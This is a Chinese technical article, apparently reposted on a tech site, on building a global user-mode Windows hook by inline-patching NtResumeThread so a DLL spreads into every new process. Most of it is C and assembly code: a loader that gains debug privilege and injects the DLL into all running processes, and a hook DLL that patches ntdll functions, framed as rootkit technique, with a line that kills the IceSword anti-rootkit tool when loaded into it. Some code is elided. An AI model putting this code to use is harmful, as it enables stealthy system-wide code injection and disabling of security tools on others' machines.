首页 运维 网络学院 查看内容

挂钩NtResumeThread实现全局HOOK

2008-7-4 15:45 963 0

摘要: 挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑...
关键词: nbsp information hProcess NULL NTSTATUS DWORD SystemInformatio 进程 NtResumeThread NtQuerySystemInf

挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是无法接受蓝屏和死机的。 感兴趣的可以装个Rootkit unhooker 自己看看。 :) 1. 以往的Ring 3全局Hook 纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型: HHOOK SetWindowsHookEx(          int idHook,    HOOKPROC lpfn,    HINSTANCE hMod,    DWORD dwThreadId); idhook   安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等lpfn     hook procedure 的指针hmod     包含 hook procedure DLL 的handledwThread 为0 使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面的程序,Windows console 类的程序就无能为力了。 还有一种通过插入注册表来实现 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs 这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。 以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。 a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,   而当NtCreateProcess返回时,进程又已经开始运行 b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可   以这么理解,直接在命令行下,cmd,cmd,cmd .... 你可以监控到最后一个cmd 吗,如果只   用SetWindowsHookEx c. 是否正好站在了华容道,是否足够底层。 似乎很费劲 2. 分析系统创建进程过程,寻找方法 关于这方面内容,可以参考毛德操老师的两篇文章 《漫谈兼容内核之十七:再谈Windows的进程创建》 《漫谈兼容内核之二十二:Windows线程的调度和运行》 下面是他的blog 链接:http://hi.baidu.com/fatbsd/blog CreateProcess 是 Kernel32.dll 的导出函数。 操起WinDbg,剁了一下: Windows 2003 SP2 lkd> uf CreateProcessWkernel32!CreateProcessW:7c802474 8bff             mov     edi,edi7c802476 55               push    ebp7c802477 8bec             mov     ebp,esp7c802479 6a00             push    0x07c80247b ff752c           push    dword ptr [ebp+0x2c]7c80247e ff7528           push    dword ptr [ebp+0x28]7c802481 ff7524           push    dword ptr [ebp+0x24]7c802484 ff7520           push    dword ptr [ebp+0x20]7c802487 ff751c           push    dword ptr [ebp+0x1c]7c80248a ff7518           push    dword ptr [ebp+0x18]7c80248d ff7514           push    dword ptr [ebp+0x14]7c802490 ff7510           push    dword ptr [ebp+0x10]7c802493 ff750c           push    dword ptr [ebp+0xc]7c802496 ff7508           push    dword ptr [ebp+0x8]7c802499 6a00             push    0x07c80249b e8a6ac0200       call    kernel32!CreateProcessInternalW (7c82d146)7c8024a0 5d               pop     ebp7c8024a1 c22800           ret     0x28 lkd> uf CreateProcessInternalW....7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)]....7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)]....7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)] 大概流程如下: Kernel32!CreateProcessWKernel32!CreateProcessInternalWntdll!NtCreateProcessExntdll!NtCreateThreadntdll!NtResumeThread 因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,但是进程并没有调度起来,呵呵,方便干坏事啊。 3. 具体代码实现 基本思路已经清晰了,这里还几个问题。 a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时   调用的NtResumeThread呢? 其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。 b. 用什么方法Hook , IAT、Inline? 总的架构?   这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。  枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程  创建时,将DLL 插入新进程。   下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。  Hook 也不是不是我们这次的主要内容,感兴趣的可以参考   http://www.xfocus.net/articles/200403/681.html c. 在多线程的环境下是否可靠?     使用关键代码段,互斥锁,效果还可以。 Loader: void inject(HANDLE hProcess){ char CurPath[256] = {0};    strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");    PWSTR pszLibFileRemote = NULL;     int len = (lstrlen(CurPath)+1)*2;    WCHAR wCurPath[256];    MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);     pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess,                                              NULL,                                              len,                                              MEM_COMMIT,                                              PAGE_READWRITE);     WriteProcessMemory(hProcess, pszLibFileRemote,             (PVOID) wCurPath, len, NULL);     PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)        GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");     CreateRemoteThread(hProcess,                        NULL,                        0,                           pfnThreadRtn,                        pszLibFileRemote,                        0,                        NULL); } void TotalInject(){    HANDLE         hProcessSnap = NULL;     BOOL           bRet      = FALSE;     PROCESSENTRY32 pe32      = {0};     //  Take a snapshot of all processes in the system.     EnableDebugPrivilege(1);     hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);     if (hProcessSnap == INVALID_HANDLE_VALUE)         return;     //  Fill in the size of the structure before using it.     pe32.dwSize = sizeof(PROCESSENTRY32);     //  Walk the snapshot of the processes, and for each process,     //  display information.     if (Process32First(hProcessSnap, &pe32))     {         do         {                 HANDLE hProcess;                 // Get the actual priority class.                hProcess = OpenProcess (PROCESS_ALL_ACCESS,                                         FALSE,                                        pe32.th32ProcessID);        inject(hProcess);        CloseHandle(hProcess);                   }         while (Process32Next(hProcessSnap, &pe32));     }     // Do not forget to clean up the snapshot object.         EnableDebugPrivilege(0);     CloseHandle (hProcessSnap);     return ; } Hook.dll: 关键代码 #include "stdafx.h"#include <stdio.h> BOOL g_bHook = FALSE; typedef LONG NTSTATUS;#define STATUS_SUCCESS               ((NTSTATUS)0x00000000L)#define STATUS_ACCESS_DENIED         ((NTSTATUS)0xC0000022L)#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L)typedef ULONG SYSTEM_INFORMATION_CLASS;typedef ULONG THREADINFOCLASS;typedef ULONG PROCESSINFOCLASS;typedef ULONG KPRIORITY;#define MEMORY_BASIC_INFORMATION_SIZE 28 typedef struct _THREAD_BASIC_INFORMATION {    NTSTATUS ExitStatus;    PNT_TIB TebBaseAddress;    CLIENT_ID ClientId;    KAFFINITY AffinityMask;    KPRIORITY Priority;    KPRIORITY BasePriority;} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0NTSTATUS ExitStatus;PVOID PebBaseAddress;KAFFINITY AffinityMask;KPRIORITY BasePriority;ULONG UniqueProcessId;ULONG InheritedFromUniqueProcessId;} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION; typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)(  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,  OUT PVOID               SystemInformation,  IN ULONG                SystemInformationLength,  OUT PULONG              ReturnLength OPTIONAL ); typedef NTSTATUS (__stdcall *NTRESUMETHREAD)(IN HANDLE ThreadHandle,OUT PULONG PreviousSuspendCount OPTIONAL); typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)(  IN HANDLE ThreadHandle,  IN THREADINFOCLASS ThreadInformationClass,  OUT PVOID ThreadInformation,  IN ULONG ThreadInformationLength,   OUT PULONG ReturnLength OPTIONAL); typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)(IN HANDLE ProcessHandle,IN PROCESSINFOCLASS ProcessInformationClass,OUT PVOID ProcessInformation,IN ULONG ProcessInformationLength,OUT PULONG ReturnLength OPTIONAL); NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;NTRESUMETHREAD g_pfNtResumeThread = NULL;BYTE g_OldNtQuerySystemInformation[5] = {0}, g_NewNtQuerySystemInformation[5] = {0};BYTE g_OldNtResumeThread[5] = {0}, g_NewNtResumeThread[5] = {0};DWORD dwIdOld = 0;CRITICAL_SECTION cs; NTSTATUS __stdcall NewNtQuerySystemInformation(            IN ULONG SystemInformationClass,            IN PVOID SystemInformation,            IN ULONG SystemInformationLength,            OUT PULONG ReturnLength); NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,OUT PULONG PreviousSuspendCount OPTIONAL); void WINAPI HookOn();void WINAPI HookOff(); BOOL APIENTRY DllMain( HANDLE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved ){    switch (ul_reason_for_call)    {        case DLL_PROCESS_ATTACH:        {             InitializeCriticalSection(&cs);             char Name[MAX_PATH] = {0};             GetModuleFileName(NULL, Name, MAX_PATH);             // 杀杀冰刃玩玩             if ( strstr(Name, "IceSword.exe") != NULL)             {                HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,                                               0,                                               GetCurrentProcessId());                TerminateProcess(hProcess, 0);                CloseHandle(hProcess);             }            if(!g_bHook)            {                HookOn();            }            #ifdef _DEBUG               MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK);            #endif         }            break;        case DLL_THREAD_ATTACH:                        break;        case DLL_THREAD_DETACH:            break;        case DLL_PROCESS_DETACH:        if(g_bHook)        {            HookOff();#ifdef _DEBUG            MessageBox(NULL, "Off!", "Hook Off", MB_OK);#endif                DeleteCriticalSection(&cs);                    }        break;    }         return TRUE;} BOOL EnableDebugPrivilege(BOOL fEnable) {    // Enabling the debug privilege allows the application to see   // information about service applications   BOOL fOk = FALSE;    // Assume function fails   HANDLE hToken;    // Try to open this process's access token   if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,       &hToken)) {       // Attempt to modify the "Debug" privilege      TOKEN_PRIVILEGES tp;      tp.PrivilegeCount = 1;      LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);      tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;      AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);      fOk = (GetLastError() == ERROR_SUCCESS);      CloseHandle(hToken);   }   return(fOk);} #define ThreadBasicInformation 0 void inject(HANDLE hProcess){     char CurPath[256] = {0};    GetSystemDirectory(CurPath, 256);    strncat(CurPath, "\\Hook.dll", 9);    //strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");    PWSTR pszLibFileRemote = NULL;     int len = (lstrlen(CurPath)+1)*2;    WCHAR wCurPath[256];    MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);     EnableDebugPrivilege(1);     pszLibFileRemote = (PWSTR)         VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);     WriteProcessMemory(hProcess, pszLibFileRemote,         (PVOID) wCurPath, len, NULL);     PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)         GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");     HANDLE hRemoteThread = CreateRemoteThread(hProcess,                                                       NULL,                                                       0,                                                       pfnThreadRtn,                                                       pszLibFileRemote,                                                       0,                                                       NULL);    WaitForSingleObject(hRemoteThread, INFINITE);    CloseHandle(hRemoteThread);     EnableDebugPrivilege(0); } NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,OUT PULONG PreviousSuspendCount OPTIONAL){     NTSTATUS ret;    NTSTATUS nStatus;    NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;    NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;    THREAD_BASIC_INFORMATION ti;    DWORD Pid = 0;     HMODULE hNtdll = GetModuleHandle("ntdll.dll");     NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,                                                              "NtQuerySystemInformation");    NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll,                                                              "NtQueryInformationThread");     if (NtQueryInformationThread == NULL)    {#ifdef _DEBUG        MessageBox(NULL, "can't get NtQueryInformationThread", "", MB_OK);#endif                }        nStatus = NtQueryInformationThread(ThreadHandle,                                            ThreadBasicInformation,                                            (PVOID)&ti,                        sizeof(THREAD_BASIC_INFORMATION),                                            NULL);     if(nStatus != STATUS_SUCCESS)    {#ifdef _DEBUG        MessageBox(NULL, "fuck failed", "", MB_OK);#endif            }     Pid = (DWORD)(ti.ClientId.UniqueProcess);     HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid);     if (hProcess == NULL)    {#ifdef _DEBUG        MessageBox(NULL, "open process failed", "", MB_OK);#endif    }     BYTE FirstByte[1] = {0};    // check if the process has been hooked    ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL);     // 已经被Hook了    if ( FirstByte[0] == 0xe9)    {        HookOff();       ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);       HookOn();        CloseHandle(hProcess);        return ret;    }    // 创建新进程的调用,Hook 之    else    {        HookOff();        inject(hProcess);        ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);        HookOn();         CloseHandle(hProcess);        return ret;    }} NTSTATUS __stdcall NewNtQuerySystemInformation(            IN ULONG SystemInformationClass,            IN PVOID SystemInformation,            IN ULONG SystemInformationLength,            OUT PULONG ReturnLength){    NTSTATUS ntStatus;     HookOff();    ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass,                                                SystemInformation,                                                SystemInformationLength,                                                ReturnLength);    HookOn();    return ntStatus;} void WINAPI HookOn(){    PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL;    DWORD dwOldProtect, dwOldProtect2;    HANDLE hProcess = NULL;         dwIdOld = GetCurrentProcessId();     hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld);    if(hProcess == NULL)    return ;      HMODULE hNtdll = GetModuleHandle("ntdll.dll");     g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,                                                     "NtQuerySystemInformation");      if (g_pfNtQuerySystemInformation == NULL)     {         return;     }      g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread");      if (g_pfNtResumeThread == NULL)     {         return;     }         EnterCriticalSection(&cs);     _asm    {        lea edi,g_OldNtQuerySystemInformation        mov esi,g_pfNtQuerySystemInformation        cld        mov ecx,5        rep movsb        lea edi,g_OldNtResumeThread        mov esi,g_pfNtResumeThread        cld        mov ecx,5        rep movsb    }     g_NewNtQuerySystemInformation[0] = 0xe9;    g_NewNtResumeThread[0] = 0xe9;    _asm    {        lea eax, NewNtQuerySystemInformation        mov ebx, g_pfNtQuerySystemInformation        sub eax, ebx        sub eax, 5         mov dword ptr [g_NewNtQuerySystemInformation + 1], eax         lea eax, NewNtResumeThread        mov ebx, g_pfNtResumeThread        sub eax, ebx        sub eax, 5        mov dword ptr [g_NewNtResumeThread + 1], eax    }    .......    LeaveCriticalSection(&cs);     g_bHook = TRUE;} // 还原被修改的代码void WINAPI HookOff(){    ......    g_bHook = FALSE;}
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部